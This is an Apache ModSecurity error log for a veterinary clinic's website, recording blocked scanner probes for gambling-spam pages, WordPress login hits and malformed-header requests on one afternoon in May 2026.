[Mon May 04 12:09:06.078915 2026] [:error] [pid 64610:tid 64627] [client 59.125.102.142:40662] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.142, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afgb4mhJ7aZW62UOoWg31wAAAQ8"]
[Mon May 04 12:21:59.231467 2026] [:error] [pid 11959:tid 12000] [client 51.75.54.138:59706] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.54.138, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afge5wojk2nvxs7h5Kv9vAAAAMw"]
[Mon May 04 13:01:12.799557 2026] [:error] [pid 11959:tid 11993] [client 212.227.21.19:65150] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "afgoGAojk2nvxs7h5KsDrwAAAMU"]
[Mon May 04 13:01:17.047346 2026] [:error] [pid 64610:tid 64614] [client 212.227.21.19:65154] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "afgoHWhJ7aZW62UOoWhPfAAAAQI"]
[Mon May 04 13:52:37.245765 2026] [:error] [pid 64610:tid 64627] [client 1.15.52.154:51924] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afg0JWhJ7aZW62UOoWhnxQAAAQ8"]
[Mon May 04 14:07:37.563658 2026] [:error] [pid 12051:tid 12070] [client 43.166.136.24:60670] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afg3qerVB-w_PyOHK6mcwwAAAVE"]
[Mon May 04 14:42:30.865096 2026] [:error] [pid 53161:tid 53218] [client 145.239.69.40:41902] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afg_1k5l1qgo2JEi65l5RwAAAEE"]
[Mon May 04 14:42:33.311381 2026] [:error] [pid 53160:tid 53212] [client 145.239.69.40:36804] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afg_2aNFKJC8NNHHXb49PQAAARY"]
[Mon May 04 14:42:35.873646 2026] [:error] [pid 53160:tid 53194] [client 145.239.69.40:36812] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afg_26NFKJC8NNHHXb49QgAAAQQ"]
[Mon May 04 14:42:38.329017 2026] [:error] [pid 53248:tid 53258] [client 145.239.69.40:36818] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afg_3gPqlCce9bsWu6i8rAAAAAg"]
[Mon May 04 14:42:40.720464 2026] [:error] [pid 53160:tid 53207] [client 145.239.69.40:38382] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afg_4KNFKJC8NNHHXb49SAAAARE"]
[Mon May 04 14:42:43.068813 2026] [:error] [pid 53160:tid 53205] [client 145.239.69.40:38396] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afg_46NFKJC8NNHHXb49TwAAAQ8"]
[Mon May 04 14:42:45.436762 2026] [:error] [pid 53160:tid 53200] [client 145.239.69.40:38412] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afg_5aNFKJC8NNHHXb49UwAAAQo"]
[Mon May 04 14:42:47.806009 2026] [:error] [pid 53248:tid 53266] [client 145.239.69.40:38422] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afg_5wPqlCce9bsWu6i8xwAAABA"]
[Mon May 04 14:42:50.247873 2026] [:error] [pid 53248:tid 53254] [client 145.239.69.40:60426] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afg_6gPqlCce9bsWu6i8zAAAAAQ"]
[Mon May 04 14:42:52.643755 2026] [:error] [pid 53248:tid 53259] [client 145.239.69.40:60428] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afg_7APqlCce9bsWu6i83AAAAAk"]
[Mon May 04 14:42:55.126834 2026] [:error] [pid 53248:tid 53273] [client 145.239.69.40:60430] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afg_7wPqlCce9bsWu6i85wAAABc"]
[Mon May 04 14:42:57.445247 2026] [:error] [pid 53248:tid 53252] [client 145.239.69.40:60436] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afg_8QPqlCce9bsWu6i86wAAAAI"]
[Mon May 04 14:42:59.845465 2026] [:error] [pid 53160:tid 53208] [client 145.239.69.40:60012] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afg_86NFKJC8NNHHXb49bgAAARI"]
[Mon May 04 14:43:02.190491 2026] [:error] [pid 53248:tid 53259] [client 145.239.69.40:60018] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afg_9gPqlCce9bsWu6i88wAAAAk"]
[Mon May 04 14:43:04.493620 2026] [:error] [pid 53161:tid 53233] [client 145.239.69.40:60034] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afg_-E5l1qgo2JEi65l5dQAAAFA"]
[Mon May 04 14:43:06.985611 2026] [:error] [pid 53161:tid 53219] [client 145.239.69.40:60044] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afg_-k5l1qgo2JEi65l5eAAAAEI"]
[Mon May 04 14:43:09.502392 2026] [:error] [pid 53159:tid 53174] [client 145.239.69.40:60054] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afg__VZg7pq4CfE3tM-bnAAAAMs"]
[Mon May 04 14:43:11.872732 2026] [:error] [pid 53248:tid 53273] [client 145.239.69.40:60954] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afg__wPqlCce9bsWu6i9FgAAABc"]
[Mon May 04 14:43:14.377056 2026] [:error] [pid 53161:tid 53226] [client 145.239.69.40:60970] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afhAAk5l1qgo2JEi65l5hgAAAEk"]
[Mon May 04 14:43:16.752451 2026] [:error] [pid 53161:tid 53235] [client 145.239.69.40:60974] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afhABE5l1qgo2JEi65l5iQAAAFI"]
[Mon May 04 14:43:19.128429 2026] [:error] [pid 53159:tid 53170] [client 145.239.69.40:60978] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afhAB1Zg7pq4CfE3tM-bpQAAAMc"]
[Mon May 04 15:45:07.669264 2026] [:error] [pid 61043:tid 61078] [client 136.107.232.91:50744] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afhOg58-LwtfURjiAbBqogAAAEM"]
[Mon May 04 15:45:08.559623 2026] [:error] [pid 3341:tid 3364] [client 136.107.232.91:55797] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOhE9o3_LordU0wW7qtwAAAJQ"]
[Mon May 04 16:27:00.847068 2026] [:error] [pid 61043:tid 61092] [client 114.119.150.38:58029] [client 114.119.150.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/services/"] [unique_id "afhYVJ8-LwtfURjiAbB6xgAAAFE"], referer: https://saltlakequinceanera.com/telegram-seo-linkk-order-seo-backlinks-homepage-3-6/
[Mon May 04 16:28:31.138163 2026] [:error] [pid 61043:tid 61090] [client 114.119.138.32:47273] [client 114.119.138.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/privacy-policy/"] [unique_id "afhYr58-LwtfURjiAbB7PwAAAE8"], referer: https://vetstars.com.au/appointment
[Mon May 04 16:45:44.693902 2026] [ssl:error] [pid 61044:tid 61118] [client 15.204.161.7:37754] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Mon May 04 16:46:21.410352 2026] [:error] [pid 61150:tid 61164] [client 135.181.180.59:52778] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afhc3e8QXWVLiwIGVpdTJAAAAUs"]
[Mon May 04 16:46:23.977770 2026] [:error] [pid 61150:tid 61176] [client 135.181.180.59:52788] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afhc3-8QXWVLiwIGVpdTKQAAAVc"]
[Mon May 04 16:46:26.480983 2026] [:error] [pid 61043:tid 61094] [client 135.181.180.59:17596] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afhc4p8-LwtfURjiAbCDNQAAAFM"]
[Mon May 04 16:46:29.106522 2026] [:error] [pid 3341:tid 3362] [client 135.181.180.59:17622] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afhc5U9o3_LordU0wW7-TwAAAJI"]
[Mon May 04 16:46:31.662286 2026] [:error] [pid 3341:tid 3345] [client 135.181.180.59:17642] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afhc509o3_LordU0wW7-UgAAAIE"]
[Mon May 04 16:46:34.207386 2026] [:error] [pid 61043:tid 61075] [client 135.181.180.59:17668] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afhc6p8-LwtfURjiAbCDbgAAAEA"]
[Mon May 04 16:46:36.656619 2026] [:error] [pid 61150:tid 61164] [client 135.181.180.59:61336] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afhc7O8QXWVLiwIGVpdTQgAAAUs"]
[Mon May 04 16:46:39.254496 2026] [:error] [pid 61150:tid 61161] [client 135.181.180.59:61348] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afhc7-8QXWVLiwIGVpdTRAAAAUg"]
[Mon May 04 16:46:41.874997 2026] [:error] [pid 61042:tid 61047] [client 135.181.180.59:61364] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afhc8UnAPPS1fjubA9Q3BgAAAME"]
[Mon May 04 16:46:44.403287 2026] [:error] [pid 61043:tid 61098] [client 135.181.180.59:61372] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afhc9J8-LwtfURjiAbCDrAAAAFc"]
[Mon May 04 16:46:51.528914 2026] [:error] [pid 61150:tid 61177] [client 135.181.180.59:14610] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afhc--8QXWVLiwIGVpdTVAAAAVg"]
[Mon May 04 16:46:54.149934 2026] [:error] [pid 61150:tid 61168] [client 135.181.180.59:14624] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afhc_u8QXWVLiwIGVpdTWwAAAU8"]
[Mon May 04 16:46:56.633513 2026] [:error] [pid 61042:tid 61068] [client 135.181.180.59:25158] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afhdAEnAPPS1fjubA9Q3CgAAANY"]
[Mon May 04 16:46:59.129995 2026] [:error] [pid 61044:tid 61124] [client 135.181.180.59:25172] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afhdA0w8w2zZZXI6H1t1VwAAABY"]
[Mon May 04 16:47:01.571969 2026] [:error] [pid 61043:tid 61076] [client 135.181.180.59:25176] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afhdBZ8-LwtfURjiAbCDwAAAAEE"]
[Mon May 04 16:47:04.159483 2026] [:error] [pid 61043:tid 61098] [client 135.181.180.59:25192] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afhdCJ8-LwtfURjiAbCDxgAAAFc"]
[Mon May 04 16:47:06.684961 2026] [:error] [pid 61043:tid 61099] [client 135.181.180.59:46580] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afhdCp8-LwtfURjiAbCDyQAAAFg"]
[Mon May 04 16:47:09.319179 2026] [:error] [pid 61042:tid 61055] [client 135.181.180.59:46584] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afhdDUnAPPS1fjubA9Q3EAAAAMk"]
[Mon May 04 16:47:11.958033 2026] [:error] [pid 61043:tid 61098] [client 135.181.180.59:46588] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afhdD58-LwtfURjiAbCD0AAAAFc"]
[Mon May 04 16:47:14.422416 2026] [:error] [pid 61043:tid 61078] [client 135.181.180.59:46598] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afhdEp8-LwtfURjiAbCD0gAAAEM"]
[Mon May 04 16:52:50.365035 2026] [:error] [pid 61150:tid 61162] [client 135.181.180.59:43258] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afheYu8QXWVLiwIGVpdVYwAAAUk"]
[Mon May 04 16:52:52.924841 2026] [:error] [pid 3341:tid 3364] [client 135.181.180.59:43274] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afheZE9o3_LordU0wW7_qwAAAJQ"]
[Mon May 04 16:52:55.466960 2026] [:error] [pid 61044:tid 61122] [client 135.181.180.59:2870] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afheZ0w8w2zZZXI6H1t2UgAAABQ"]
